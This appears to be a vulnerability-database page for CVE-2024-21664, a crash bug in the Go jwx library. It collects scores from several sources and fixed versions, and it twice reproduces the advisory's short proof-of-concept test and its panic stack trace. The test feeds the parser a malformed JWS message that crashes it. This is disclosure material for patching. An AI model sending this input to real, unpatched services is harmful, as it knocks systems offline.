CVE-2024-21664
Parsing JSON serialized payload without protected field can lead to segfault
jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
4.3
Parsing JSON serialized payload without protected field can lead to segfault
jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.
- Record
CVE-2024-21664- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L - Weakness
- CWE-476
- Updated
- 2026-11-02
EUVDEUVD-2024-0395
4.3
jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.
- Record
EUVD-2024-0395- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pvcr-v8j8-j5q3
4.3
Parsing JSON serialized payload without protected field can lead to segfault
Summary
Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.
Details
This seems to also affect other functions that calls Parse internally, like jws.Verify.
My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.
Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.
PoC
Reproducer:
package poc
import (
"testing"
"github.com/lestrrat-go/jwx/v2/jws"
)
func TestPOC(t *testing.T) {
_, _ = jws.Parse([]byte(`{"signature": ""}`))
}
Result:
$ go test
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]
goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
/usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
/usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
/usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
/usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
/usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
/usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
/usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
/home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
/usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
/usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL poc 0.005s
Impact
The vulnerability can be used to crash / DOS a system doing JWS verification.
- Record
GHSA-pvcr-v8j8-j5q3- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L - Weakness
- CWE-476
- Updated
- 2026-11-02
NVD
4.3
jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.
- Record
CVE-2024-21664- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-476
- Updated
- 2026-11-02
OSV
4.3
Parsing JSON serialized payload without protected field can lead to segfault
jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.
- Record
CVE-2024-21664- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L - Weakness
- CWE-476
- Updated
- 2026-11-02
OSVGHSA-pvcr-v8j8-j5q3
4.3
Parsing JSON serialized payload without protected field can lead to segfault
Summary
Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.
Details
This seems to also affect other functions that calls Parse internally, like jws.Verify.
My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.
Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.
PoC
Reproducer:
package poc
import (
"testing"
"github.com/lestrrat-go/jwx/v2/jws"
)
func TestPOC(t *testing.T) {
_, _ = jws.Parse([]byte(`{"signature": ""}`))
}
Result:
$ go test
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]
goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
/usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
/usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
/usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
/usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
/usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
/usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
/usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
/home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
/home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
/usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
/usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL poc 0.005s
Impact
The vulnerability can be used to crash / DOS a system doing JWS verification.
- Record
GHSA-pvcr-v8j8-j5q3- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L - Weakness
- CWE-476
- Updated
- 2026-11-02
OSVGO-2024-2454 No score
Panic due to nil pointer dereference in github.com/lestrrat-go/jwx/v2
Panic due to nil pointer dereference in github.com/lestrrat-go/jwx/v2
- Record
GO-2024-2454- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/lestrrat-go/jwx/v2Go |
before 2.0.19 | 2.0.19 |
github.com/lestrrat-go/jwxGo |
1.0.8 up to 1.2.28 | 1.2.28 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-21664 is a medium vulnerability (CVSS 4.3) in Lestrrat-go Jwx, published January 9, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.86%, the 58th percentile. Fixed in github.com/lestrrat-go/jwx/v2 2.0.19.
References
github.com/lestrrat-go/jwx/security/advisories/GHSA-pvcr-v8j8-j5q3
github.com/lestrrat-go/jwx/commit/0e8802ce6842625845d651456493e7c87625601f
github.com/lestrrat-go/jwx/commit/8c53d0ae52d5ab1e2b37c5abb67def9e7958fd65
github.com/lestrrat-go/jwx/commit/d69a721931a5c48b9850a42404f18e143704adcd
nvd.nist.gov/vuln/detail/CVE-2024-21664
github.com/advisories/GHSA-pvcr-v8j8-j5q3
github.com/CVEProject/cvelistV5/tree/main/cves/2024/21xxx/CVE-2024-21664.json
github.com/lestrrat-go/jwx